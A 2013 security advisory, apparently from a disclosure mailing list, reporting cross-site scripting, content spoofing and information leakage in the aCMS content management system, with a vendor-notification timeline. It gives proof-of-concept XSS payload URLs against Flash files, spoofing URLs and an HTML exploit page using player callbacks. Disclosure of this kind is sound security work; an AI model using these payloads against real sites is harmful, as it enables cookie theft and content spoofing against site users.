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Multiple vulnerabilities in aCMS
From: "MustLive" <mustlive () websecurity com ua>
Date: Sat, 25 May 2013 23:41:14 +0300

Hello list!

These are Cross-Site Scripting, Content Spoofing and Information Leakage vulnerabilities in aCMS. This is commercial CMS. There are multiple vulnerabilities in aCMS and it's the first part of them.

-------------------------
Affected products:
-------------------------

Vulnerable are aCMS 1.0 and previous versions.

-------------------------
Affected vendors:
-------------------------

Almacor
http://almacor.ru

----------
Details:
----------

Cross-Site Scripting (WASC-08):

For ZeroClipboard10.swf XSS via id parameter and XSS via copying payload into clipboard are possible.

http://site/assets/swf/ZeroClipboard10.swf?id=%22))}catch(e){}if(!self.a)self.a=!alert(document.cookie)//&width&height

http://site/assets/swf/tagcloud.swf?mode=tags&tagcloud=%3Ctags%3E%3Ca+href=%27javascript:alert(document.cookie)%27+style=%27font-size:+40pt%27%3EClick%20me%3C/a%3E%3C/tags%3E

Content Spoofing (WASC-12):

Swf-file accepts arbitrary addresses in parameter flvToPlay and startImage, which allows to spoof content of flash - i.e. by setting addresses of video and/or image files from other site.

http://site/assets/js/tiny_mce/plugins/media/img/flv_player.swf?flvToPlay=http://site2/1.flv

http://site/assets/js/tiny_mce/plugins/media/img/flv_player.swf?autoStart=false&startImage=http://site2/1.jpg

http://site/assets/js/tiny_mce/plugins/media/img/flv_player.swf?flvToPlay=http://site2/1.flv&autoStart=false&startImage=http://site2/1.jpg

http://site/assets/js/tiny_mce/plugins/media/img/flv_player.swf?flvToPlay=http://site2/1.xml

Swf-file accepts arbitrary addresses in parameter flvToPlay, which allows to spoof content of flash - i.e. by setting address of playlist file from other site (parameters thumbnail and url in xml-file accept arbitrary addresses).

File 1.xml:

<?xml version="1.0" encoding="UTF-8"?>
<playlist>
<item name="Content Spoofing" thumbnail="1.jpg" url="1.flv"/>
<item name="Content Spoofing" thumbnail="2.jpg" url="2.flv"/>
</playlist>

Cross-Site Scripting (WASC-08):

If at the site at page with flv_player.swf (with parameter jsCallback=true, or if there is possibility to set this parameter for flv_player.swf) there is possibility to include JS code with function flvStart() and/or flvEnd() (via HTML Injection), then it's possible to conduct XSS attack. I.e. JS-callbacks can be used for XSS attack.

Example of exploit:

<html>
<body>
<script>
function flvStart() {
alert('XSS');
}
function flvEnd() {
alert('XSS');
}
</script>
<object width="50%" height="50%">
<param name=movie value="flv_player.swf?flvToPlay=1.flv&jsCallback=true">
<param name=quality value=high>
<embed src="flv_player.swf?flvToPlay=1.flv&jsCallback=true" width="50%" height="50%" quality=high pluginspage="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash"; type="application/x-shockwave-flash"></embed>
</object>
</body>
</html>

Information Leakage (WASC-13):

http://site/assets/1

At error 404 page there are Source Code Disclosure, Full Path Disclosure and showing list of the files and other information.

------------
Timeline:
------------
2013.03.04 - informed developers about part of the vulnerabilities.
2013.04.03 - informed developers about another part of the vulnerabilities.
2013.04.05 - announced at my site.
2013.04.07 - informed developers about another part of the vulnerabilities.
2013.05.25 - informed developers about another part of the vulnerabilities. In all cases the developers just ignored all messages via different e-mails and contact form.
2013.05.25 - disclosed at my site (http://websecurity.com.ua/6423/).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua

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